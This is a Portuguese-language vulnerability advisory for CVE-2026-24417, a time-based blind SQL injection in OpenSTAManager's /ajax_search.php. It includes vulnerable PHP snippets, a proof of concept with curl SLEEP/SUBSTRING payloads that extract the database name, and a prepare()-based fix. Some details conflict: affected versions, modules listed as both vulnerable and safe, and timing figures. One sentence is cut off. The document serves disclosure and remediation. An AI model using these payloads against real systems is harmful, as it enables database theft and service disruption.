CVE-2026-24417: OpenSTAManager tem uma Injeção de SQL Cega Baseada em Tempo com Negação de Serviço Amplificada

Visão Geral

Produtos Afetados

• devcode-it/openstamanager (versões: < 2.9.8)

Classificação CWE

• CWE-89: Neutralização incorreta de elementos especiais usados em um comando SQL ('Injeção de SQL')

Detalhes

Resumo

Vulnerabilidade crítica de Injeção de SQL Cega Baseada em Tempo afetando múltiplos módulos de pesquisa no OpenSTAManager v2.9.8 permite que atacantes autenticados extraiam conteúdos sensíveis do banco de dados, incluindo hashes de senhas, dados de clientes e registros financeiros, por meio de ataques de inferência booleana baseados em tempo com execução amplificada em mais de 10 módulos.

Status: ✅ Confirmado e testado em instância ativa (v2.9.8) Parâmetro Vulnerável: term (GET) Endpoint Afetado: /ajax_search.php Módulos Afetados: Articoli, Ordini, DDT, Fatture, Preventivi, Anagrafiche, Impianti, Contratti, Automezzi, Interventi

Detalhes

O OpenSTAManager v2.9.8 contém uma vulnerabilidade crítica de Injeção de SQL Cega Baseada em Tempo na funcionalidade de pesquisa global. O aplicativo não sanitiza corretamente o parâmetro term antes de usá-lo em cláusulas SQL LIKE em vários manipuladores de pesquisa específicos de módulos, permitindo que atacantes injetem comandos SQL arbitrários e extraiam dados sensíveis por meio de inferência booleana baseada em tempo.

Cadeia de Vulnerabilidade:

1. Ponto de Entrada: /ajax_search.php (Linhas 30-31)

   root@kitploit:~

   $term = get('term');
   $term = str_replace('/', '\\/', $term);
   

   O parâmetro $term passa por sanitização mínima (apenas substituição de barras).

2. Distribuição: /src/AJAX.php::search() (Linhas 159-161)

   root@kitploit:~

   $files = self::find('ajax/search.php');
   array_unshift($files, base_dir().'/ajax_search.php');
   foreach ($files as $file) {
       $module_results = self::getSearchResults($file, $term);
   

   O $term não sanitizado é passado para todos os manipuladores de pesquisa específicos de módulos.

3. Execução: /src/AJAX.php::getSearchResults() (Linha 373)

   root@kitploit:~

   require $file;
   

   O arquivo search.php de cada módulo é incluído com a variável $term no escopo.

4. Consultas SQL Vulneráveis: Vários módulos concatenam diretamente sem

Todos os Arquivos Afetados (10+ instâncias vulneráveis):

1. /modules/articoli/ajax/search.php - Linha 51 (EXEMPLO PRINCIPAL)

   root@kitploit:~

   foreach ($fields as $name => $value) {
       $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
   }
   $rs = $dbo->fetchArray($query);
   

   Impacto: Concatenação direta sem prepare(), permite injeção de SQL completa.

2. /modules/ordini/ajax/search.php - Linhas 43, 47

   root@kitploit:~

   $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
   $query .= '... WHERE `mg_articoli`.`codice` LIKE "%'.$term.'%" OR `mg_articoli_lang`.`title` LIKE "%'.$term.'%"';
   

3. /modules/ddt/ajax/search.php - Linhas 43, 47

   root@kitploit:~

   $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
   

4. /modules/fatture/ajax/search.php - Linhas 45, 49

   root@kitploit:~

   $query .= ' OR '.$value.' LIKE "%'.$term.'%"';
   

Devidamente Sanitizados (NÃO vulneráveis):

• /modules/contratti/ajax/search.php - Usa prepare() corretamente
• /modules/automezzi/ajax/search.php - Usa prepare() corretamente

Nota: A vulnerabilidade tem execução amplificada - uma única solicitação maliciosa dispara injeção de SQL em TODOS os módulos vulneráveis simultaneamente, fazendo com que ataques baseados em tempo sejam executados 10+ vezes por solicitação, multiplicando o atraso e levando a erros 504 Gateway Time-out, conforme observado na instância de demonstração ao vivo.

PoC

Passo 1: Login

curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
  -d 'username=admin&password=admin'

Passo 2: Verificar a Vulnerabilidade (SLEEP Baseado em Tempo)

# Test with SLEEP(1) - should take ~85+ seconds due to amplified execution
time curl -s -b /tmp/cookies.txt \
  'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(1)%20OR%20%22'
# Result: real 72.29s

# Test with SLEEP(0) - should be fast
time curl -s -b /tmp/cookies.txt \
  'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(0)%20OR%20%22'
# Result: real 0.30s

Passo 3: Extração de Dados - Nome do Banco de Dados

# Extract first character of database name (expected: 'o' from 'openstamanager')
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
  > /dev/null
# Result: real 170.32s

# Test with wrong character 'x' - should be fast
time curl -s -b /tmp/cookies.txt \
  "http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
  > /dev/null
# Result: real 0m0.30s

Impacto

Usuários Afetados: Todos os usuários autenticados com acesso à funcionalidade de pesquisa global.

• Exfiltração completa do banco de dados, incluindo PII de clientes, registros financeiros e segredos comerciais
• Extração de hashes de senhas para quebra offline
• Ataques baseados em tempo amplificados consomem 85x os recursos do servidor por solicitação

Correção Recomendada:

Substitua todas as instâncias de concatenação direta de $term por prepare():

ANTES (Vulnerável):

$query .= ' OR '.$value.' LIKE "%'.$term.'%"';

DEPOIS (Corrigido):

$query .= ' OR '.$value.' LIKE '.prepare('%'.$term.'%');

Aplique esta correção a TODOS os arquivos afetados:

1. /modules/articoli/ajax/search.php - Linha 51
2. /modules/ordini/ajax/search.php - Linhas 43, 47, 79
3. /modules/ddt/ajax/search.php - Linhas 43, 47, 83
4. /modules/fatture/ajax/search.php - Linhas 45, 49, 85
5. /modules/preventivi/ajax/search.php - Linhas 45, 49, 83
6. /modules/anagrafiche/ajax/search.php - Linhas 62, 107, 162
7. /modules/impianti/ajax/search.php - Linha 46

Referências

• https://github.com/devcode-it/openstamanager/security/advisories/GHSA-4hc4-8599-xh2h
• https://nvd.nist.gov/vuln/detail/CVE-2026-24417
• https://github.com/advisories/GHSA-4hc4-8599-xh2h

Aviso Legal

Este CVE foi divulgado de forma responsável seguindo práticas coordenadas de divulgação de vulnerabilidades. As informações fornecidas aqui são apenas para fins educacionais e defensivos.